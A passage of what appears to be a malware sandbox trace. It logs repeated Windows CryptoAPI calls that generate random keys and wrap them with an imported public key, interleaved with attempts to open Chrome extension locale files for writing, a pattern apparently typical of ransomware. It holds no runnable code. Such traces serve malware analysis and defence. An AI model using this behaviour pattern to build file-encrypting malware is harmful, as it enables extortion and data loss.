hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a578) returned 1 [0234.449] CryptGetKeyParam (in: hKey=0x659a578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.449] CryptEncrypt (in: hKey=0x659a578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8460000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8460000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.450] GetLastError () returned 0x0 [0234.450] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.450] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.452] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a638) returned 1 [0234.452] CryptGetKeyParam (in: hKey=0x659a638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.452] CryptEncrypt (in: hKey=0x659a638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8470000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8470000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.452] GetLastError () returned 0x0 [0234.452] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.452] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.454] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.456] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.457] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.457] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.457] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.462] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.462] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.462] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.465] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a1f8) returned 1 [0234.465] CryptGetKeyParam (in: hKey=0x659a1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.465] CryptEncrypt (in: hKey=0x659a1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8480000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8480000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.465] GetLastError () returned 0x0 [0234.465] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.465] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.468] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a238) returned 1 [0234.468] CryptGetKeyParam (in: hKey=0x659a238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.468] CryptEncrypt (in: hKey=0x659a238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8490000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8490000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.468] GetLastError () returned 0x0 [0234.468] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.469] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.472] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.472] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.472] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.476] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.476] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.476] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.478] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a078) returned 1 [0234.478] CryptGetKeyParam (in: hKey=0x659a078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.478] CryptEncrypt (in: hKey=0x659a078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x84a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x84a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.478] GetLastError () returned 0x0 [0234.478] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.478] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.480] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a3b8) returned 1 [0234.481] CryptGetKeyParam (in: hKey=0x659a3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.481] CryptEncrypt (in: hKey=0x659a3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x84b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x84b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.481] GetLastError () returned 0x0 [0234.481] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.481] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.482] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.484] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.486] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.486] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.486] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.486] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.490] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.490] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.490] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.492] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a3f8) returned 1 [0234.492] CryptGetKeyParam (in: hKey=0x659a3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.492] CryptEncrypt (in: hKey=0x659a3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x84c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x84c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.493] GetLastError () returned 0x0 [0234.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.493] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.495] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a338) returned 1 [0234.495] CryptGetKeyParam (in: hKey=0x659a338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.495] CryptEncrypt (in: hKey=0x659a338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x84d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x84d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.495] GetLastError () returned 0x0 [0234.495] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.496] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.500] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.500] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.500] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.503] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.503] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.503] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.505] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a278) returned 1 [0234.505] CryptGetKeyParam (in: hKey=0x659a278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.505] CryptEncrypt (in: hKey=0x659a278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x84e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x84e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.506] GetLastError () returned 0x0 [0234.506] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.506] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.508] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a6f8) returned 1 [0234.508] CryptGetKeyParam (in: hKey=0x659a6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.508] CryptEncrypt (in: hKey=0x659a6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x84f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x84f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.508] GetLastError () returned 0x0 [0234.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.508] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.509] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.514] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.514] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.514] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.518] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.518] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.518] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.519] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.521] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a0f8) returned 1 [0234.521] CryptGetKeyParam (in: hKey=0x659a0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.522] CryptEncrypt (in: hKey=0x659a0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8500000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8500000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.522] GetLastError () returned 0x0 [0234.522] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.522] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.524] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a378) returned 1 [0234.525] CryptGetKeyParam (in: hKey=0x659a378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.525] CryptEncrypt (in: hKey=0x659a378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8510000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8510000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.525] GetLastError () returned 0x0 [0234.525] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.525] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.526] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.531] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.531] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.531] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.536] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.536] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.537] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.540] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a2b8) returned 1 [0234.540] CryptGetKeyParam (in: hKey=0x659a2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.540] CryptEncrypt (in: hKey=0x659a2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8520000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8520000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.540] GetLastError () returned 0x0 [0234.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.540] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.543] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a778) returned 1 [0234.543] CryptGetKeyParam (in: hKey=0x659a778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.543] CryptEncrypt (in: hKey=0x659a778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8530000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8530000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.543] GetLastError () returned 0x0 [0234.543] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.545] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.549] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.549] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.550] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.552] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.555] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.555] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.556] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.558] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a678) returned 1 [0234.558] CryptGetKeyParam (in: hKey=0x659a678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.558] CryptEncrypt (in: hKey=0x659a678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8540000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8540000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.559] GetLastError () returned 0x0 [0234.559] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.559] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft 